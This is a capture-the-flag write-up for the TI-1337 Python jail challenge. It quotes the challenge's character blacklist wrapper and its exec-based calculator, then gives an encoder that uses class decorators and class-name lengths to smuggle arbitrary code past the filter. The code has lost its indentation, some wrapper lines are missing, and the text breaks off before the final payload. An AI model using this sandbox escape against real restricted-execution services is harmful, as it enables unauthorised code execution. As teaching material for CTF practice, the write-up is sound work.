Tags: jail python decorator

Rating: 5.0

We're given 2 files:
python
#!/usr/bin/env python3
"""
Wrapper that filters all input to the calculator program to make sure it follows the blacklist.
It is not necessary to fully understand this code. Just know it doesn't allow any of the characters in the following string:
"()[]{}_.#\"\'\\ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Check ti1337.py to see what the program actually does with valid input.
"""

import subprocess, fcntl, os, sys, selectors
os.chdir("app")
p = subprocess.Popen(["python3", "ti1337.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# set files descriptors to nonblocking and create selectors
fcntl.fcntl(p.stdout, fcntl.F_SETFL, fcntl.fcntl(p.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
fcntl.fcntl(sys.stdin, fcntl.F_SETFL, fcntl.fcntl(sys.stdin, fcntl.F_GETFL) | os.O_NONBLOCK)
selector = selectors.DefaultSelector()
blacklist = "()[]{}_.#\"\'\\ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# until the program has finished
while p.poll() == None:
events = selector.select()
if key.data == 'stdin':
# write input
for c in line:
if c in blacklist:
print("That doesn't seem like math!")
sys.exit()
p.stdin.write(bytes(line, encoding="utf-8"))
p.stdin.flush()
elif key.data == 'stdout':
# print output
sys.stdout.write(output.decode("utf-8"))
sys.stdout.flush()
output, error = p.communicate()
if error: sys.stdout.write(error.decode("utf-8"))
sys.stdout.flush()

python
#!/usr/bin/env python3
del __builtins__.__import__
__builtins__.print("Welcome to the TI-1337! You can use any math operation and variables with a-z.")
_c = ""
_l = __builtins__.input("> ")
while _l != "":
# division -> floor division
_l = _l.replace("/", "//")
_c += _l+"\n"
_l = __builtins__.input("> ")
_v = {}
_v = __builtins__.set(__builtins__.dir())
__builtins__.exec(_c)
for _var in __builtins__.set(__builtins__.dir())-_v:
__builtins__.print(_var, "=", __builtins__.vars()[_var])


The comment at the top explains the challenge. Basically, we can execute remotely arbitrary code (what we send is execed), as long as it doesn't contain any of ()[]{}_.#\"\'\\ABCDEFGHIJKLMNOPQRSTUVWXYZ. Uppercase letters are not particularly problematic - there's no such place where lowercase can't be used. The real problem is that we can't call functions, access attributes and setup magic methods (forbidden underscores).

I looked through Python syntax from the documentation and discovered two key features that I could use for function execution. These are class definitions (although without proper function definitions (lambda are allowed though) and decorators).

This is how decorators basically work - these code snippets are equivalent:
python
@some_function
class c:
pass

python
class c:
pass
c = some_function(c)


If we find functions that operate on single arguments, we could make a payload.

I decided not to dig far and settled on writting an encoder. This is encoder:
python
def export(x):
return f"""@chr
@len
@str
class c{'1'*(x-0x14)}:pass"""
def encode(s):
if any(ord(x) < 0x14 for x in s):
raise ValueError('cannot encode chars less than %d' % 0x14)
return ['c'+'1'*(ord(x) - 0x14) for x in s]


This makes classes with long enough names, so that we can make a character with code (for instance) 40, we make an empty class, that has string representation 40 characters long, later apply chr on it. Final phase is to make a dummy class and apply a lambda function, that takes a single argument, but doesn't use it, it returns sum of class names, which is later feeded into exec. Full payload generating script:

python
def export(x):
return f"""@chr
@len
@str
class c{'1'*(x-0x14)}:pass"""
def encode(s):
if any(ord(x) < 0x14 for x in s):
raise ValueError('cannot encode chars less than %d' % 0x14)
return ['c'+'1'*(ord(x) - 0x14) for x in s]